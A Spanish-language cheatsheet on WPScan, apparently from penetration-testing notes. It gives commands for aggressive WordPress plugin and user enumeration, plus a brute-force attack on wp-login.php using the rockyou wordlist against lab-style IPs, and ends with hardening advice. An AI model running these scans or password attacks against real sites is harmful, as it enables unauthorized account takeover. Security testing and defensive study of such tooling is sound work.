WPScan — Enumeración y Fuerza Bruta de WordPress
Escaneo de WordPress con WPScan: enumeración de plugins/usuarios, detección agresiva de plugins, uso de la API WPScan y ataque de contraseñas sobre wp-login.
1. Operational Scope & Technical Objective
wpscan es el escáner específico de WordPress: enumera la versión del core, plugins, temas y usuarios, cruza los hallazgos con la base de datos de vulnerabilidades de WPScan y permite atacar wp-login.php con fuerza bruta. El uso táctico: enumeración dirigida de plugins (fuente de CVEs conocidos) con detección pasiva/agresiva, y password attack sobre usuarios confirmados. La clave de la eficacia es no escanear el sitio entero si solo se necesita confirmar una versión o un plugin concreto, y alimentar la enumeración de plugins/usuarios con la API (aunque funcione sin token, el token eleva el detalle y la velocidad).
2. High-Impact Syntax & Command Cheatsheet
# Enumeración de TODOS los plugins con detección agresiva (forzar su verificación)
wpscan --url http://10.10.10.88/webservices/wp/ \
--enumerate ap \
--plugins-detection aggressive \
--force \
--api-token <API-TOKEN>
# --enumerate ap -> enumera todos los plugins (a = all, p = plugins)
# --plugins-detection aggressive -> fuerza peticiones al plugin aunque la app las oculte
# --force -> ignora el "este sitio puede no ser WP" y continúa
# --api-token -> token de la API WPScan (datos de CVEs por versión)
# (usa el token de tu cuenta WPScan; no lo expongas en repos públicos)
# Fuerza bruta de login (wp-login.php)
wpscan --usernames tom \
-P /usr/share/wordlists/rockyou.txt \
--force \
--password-attack wp-login \
--url http://192.168.137.131/prehistoricforest/ \
--no-update
# --usernames tom -> usuario(s) a atacar
# -P <wordlist> -> lista de contraseñas
# --password-attack wp-login -> tipo de ataque sobre el formulario de login
# --no-update -> no comprobar actualizaciones (menos ruido, más rápido)
# Enumeración de usuarios (previa al password attack)
wpscan --url http://target/ --enumerate u
# Enumerar solo temas o plugins vulnerables según la API
wpscan --url http://target/ --enumerate vt # v = vulnerable, t = temas
3. Real-World Offensive/Defensive Scenarios
De plugin a CVE. --enumerate ap --plugins-detection aggressive descubre plugins instalados (muchas veces ocultos en el HTML); con la versión y el token, WPScan correlaciona CVEs conocidos (p. ej. plugins con upload sin autenticación o LFI) que llevan directos a RCE o a un fichero legible del servidor.
Password attack tras enumerar usuarios. WordPress confirma el nombre de usuario en el login ("Unknown username" vs "incorrect password"): enumerar --enumerate u y atacar solo cuentas reales con --password-attack wp-login es más eficaz y deja menos ruido que un spray a ciegas. La limitación: sin control de CAPTCHA/rate-limit en el objetivo, la fuerza bruta puede bloquear cuentas (lockout) o ser detectada por los plugins de seguridad.
Defensa. Las mitigaciones efectivas contra WPScan son la ocultación real (no solo X-Powered-By): eliminar plugins/temas no usados (la superficie que WPScan enumera), actualizar core+plugins (cerrar los CVEs que el escáner correlaciona), usar plugins de hardening (rate-limit en wp-login, CAPTCHA, bloqueo por IP) y desactivar la enumeración de usuarios vía REST/?author= que WPScan explota para el password attack.